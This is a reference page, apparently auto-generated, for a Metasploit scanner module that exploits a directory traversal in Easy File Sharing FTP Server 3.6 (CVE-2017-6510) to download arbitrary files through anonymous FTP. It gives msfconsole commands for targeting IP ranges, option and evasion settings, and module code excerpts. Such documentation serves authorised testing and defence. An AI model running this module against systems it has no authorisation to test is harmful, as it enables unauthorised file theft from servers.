Easy File Sharing FTP Server 3.6 Directory Traversal - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/ftp/easy_file_sharing_ftp metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Easy File Sharing FTP Server 3.6 Directory Traversal
Module: auxiliary/scanner/ftp/easy_file_sharing_ftp
Source code: modules/auxiliary/scanner/ftp/easy_file_sharing_ftp.rb
Disclosure date: 2017-03-07
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: ftp
Target network port(s): 21, 2121
List of CVEs: CVE-2017-6510
This module exploits a directory traversal vulnerability found in Easy File Sharing FTP Server Version 3.6 and Earlier. This vulnerability allows an attacker to download arbitrary files from the server by crafting a RETR command that includes file system traversal strings such as '../'
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/ftp/easy_file_sharing_ftp
msf auxiliary(easy_file_sharing_ftp) > show options
... show and set options ...
msf auxiliary(easy_file_sharing_ftp) > set RHOSTS ip-range
msf auxiliary(easy_file_sharing_ftp) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(easy_file_sharing_ftp) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(easy_file_sharing_ftp) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(easy_file_sharing_ftp) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This module exploits a directory traversal vulnerability in Easy File Sharing FTP Server 3.6, or prior. It abuses the RETR command in FTP in order to retrieve a file outside the shared directory.
By default, anonymous access is allowed by the FTP server.
Easy File Sharing FTP Server version 3.6 or prior should be affected. You can download the vulnerable application from the official website:
http://www.efssoft.com/efsfs.exe
Options
Since the FTP server allows anonymous access, by default, you only need to configure:
RHOSTS
The FTP server IP address.
PATH
The file you wish to download. Assume this path starts from C:\
Scenarios
Go back to menu.
Msfconsole Usage
Here is how the scanner/ftp/easy_file_sharing_ftp auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/ftp/easy_file_sharing_ftp
msf6 auxiliary(scanner/ftp/easy_file_sharing_ftp) > show info
Name: Easy File Sharing FTP Server 3.6 Directory Traversal
Module: auxiliary/scanner/ftp/easy_file_sharing_ftp
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2017-03-07
Provided by:
Ahmed Elhady Mohamed
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 32 yes Traversal Depth (to reach the root folder)
FTPPASS [email protected] no The password for the specified username
FTPUSER anonymous no The username to authenticate as
PATH boot.ini yes Path to the file to disclose, relative to the root dir.
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 21 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
Description:
This module exploits a directory traversal vulnerability found in
Easy File Sharing FTP Server Version 3.6 and Earlier. This
vulnerability allows an attacker to download arbitrary files from
the server by crafting a RETR command that includes file system
traversal strings such as '../'
References:
https://nvd.nist.gov/vuln/detail/CVE-2017-6510
Module Options
This is a complete list of options available in the scanner/ftp/easy_file_sharing_ftp auxiliary module:
msf6 auxiliary(scanner/ftp/easy_file_sharing_ftp) > show options
Module options (auxiliary/scanner/ftp/easy_file_sharing_ftp):
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 32 yes Traversal Depth (to reach the root folder)
FTPPASS [email protected] no The password for the specified username
FTPUSER anonymous no The username to authenticate as
PATH boot.ini yes Path to the file to disclose, relative to the root dir.
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 21 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
Advanced Options
Here is a complete list of advanced options supported by the scanner/ftp/easy_file_sharing_ftp auxiliary module:
msf6 auxiliary(scanner/ftp/easy_file_sharing_ftp) > show advanced
Module advanced options (auxiliary/scanner/ftp/easy_file_sharing_ftp):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
FTPDEBUG false no Whether or not to print verbose debug statements
FTPTimeout 16 yes The number of seconds to wait for a reply from an FTP command
PassiveMode false no Set true for extended passive (EPSV) ftp mode.
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/ftp/easy_file_sharing_ftp module can do:
msf6 auxiliary(scanner/ftp/easy_file_sharing_ftp) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/ftp/easy_file_sharing_ftp auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/ftp/easy_file_sharing_ftp) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
data_connect failed; posssible invalid response
Here is a relevant code snippet related to the "data_connect failed; posssible invalid response" error message:
53: begin
54: # Login anonymously and open the socket that we'll use for data retrieval.
55: connect_login
56: sock = data_connect
57: if sock.nil?
58: error_msg = 'data_connect failed; posssible invalid response'
59: print_status(error_msg)
60: elog(error_msg)
61: else
62: file_path = datastore['PATH']
63: file = ::File.basename(file_path)
data_connect failed; posssible invalid response
Here is a relevant code snippet related to the "data_connect failed; posssible invalid response" error message:
67: res = send_cmd( ["RETR", retr_cmd])
68:
69: # read the file data from the socket that we opened
70: # dont assume theres still a sock to read from. Per #7582
71: if sock.nil?
72: error_msg = 'data_connect failed; posssible invalid response'
73: print_status(error_msg)
74: elog(error_msg)
75: return
76: else
77: # read the file data from the socket that we opened
<FILE_PATH> not found
Here is a relevant code snippet related to the "<FILE_PATH> not found" error message:
77: # read the file data from the socket that we opened
78: response_data = sock.read(1024)
79: end
80:
81: unless response_data
82: print_error("#{file_path} not found")
83: return
84: end
85:
86: if response_data.length == 0 or ! (res =~ /^150/ )
87: print_status("File (#{file_path})from #{peer} is empty...")
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #13608 Merged Pull Request: Standardise Error Logging
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #8076 Merged Pull Request: This module exploits a directory traversal vulnerability found in Easy File Sharing FTP Server Version 3.6 and Earlier.
References
See Also
Check also the following modules related to this module:
- auxiliary/scanner/ftp/anonymous
- auxiliary/scanner/ftp/bison_ftp_traversal
- auxiliary/scanner/ftp/colorado_ftp_traversal
- auxiliary/scanner/ftp/ftp_login
- auxiliary/scanner/ftp/ftp_version
- auxiliary/scanner/ftp/konica_ftp_traversal
- auxiliary/scanner/ftp/pcman_ftp_traversal
- auxiliary/scanner/ftp/titanftp_xcrc_traversal
- auxiliary/admin/http/wp_easycart_privilege_escalation
- auxiliary/dos/windows/ftp/xmeasy560_nlst
- auxiliary/dos/windows/ftp/xmeasy570_nlst
- auxiliary/scanner/http/wp_easy_wp_smtp
- auxiliary/scanner/misc/easycafe_server_fileaccess
- auxiliary/fuzzers/ftp/client_ftp
- auxiliary/server/capture/ftp
- auxiliary/server/ftp
- exploit/unix/webapp/wp_easycart_unrestricted_file_upload
- exploit/windows/browser/hp_easy_printer_care_xmlcachemgr
- exploit/windows/browser/hp_easy_printer_care_xmlsimpleaccessor
- exploit/windows/fileformat/easycdda_pls_bof
- exploit/windows/ftp/easyfilesharing_pass
- exploit/windows/ftp/easyftp_cwd_fixret
- exploit/windows/ftp/easyftp_list_fixret
- exploit/windows/ftp/easyftp_mkd_fixret
- exploit/windows/http/easychatserver_seh
- exploit/windows/http/easyfilesharing_post
- exploit/windows/http/easyfilesharing_seh
- exploit/windows/http/easyftp_list
- exploit/windows/http/efs_easychatserver_username
- exploit/windows/http/file_sharing_wizard_seh
Authors
- Ahmed Elhady Mohamed
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.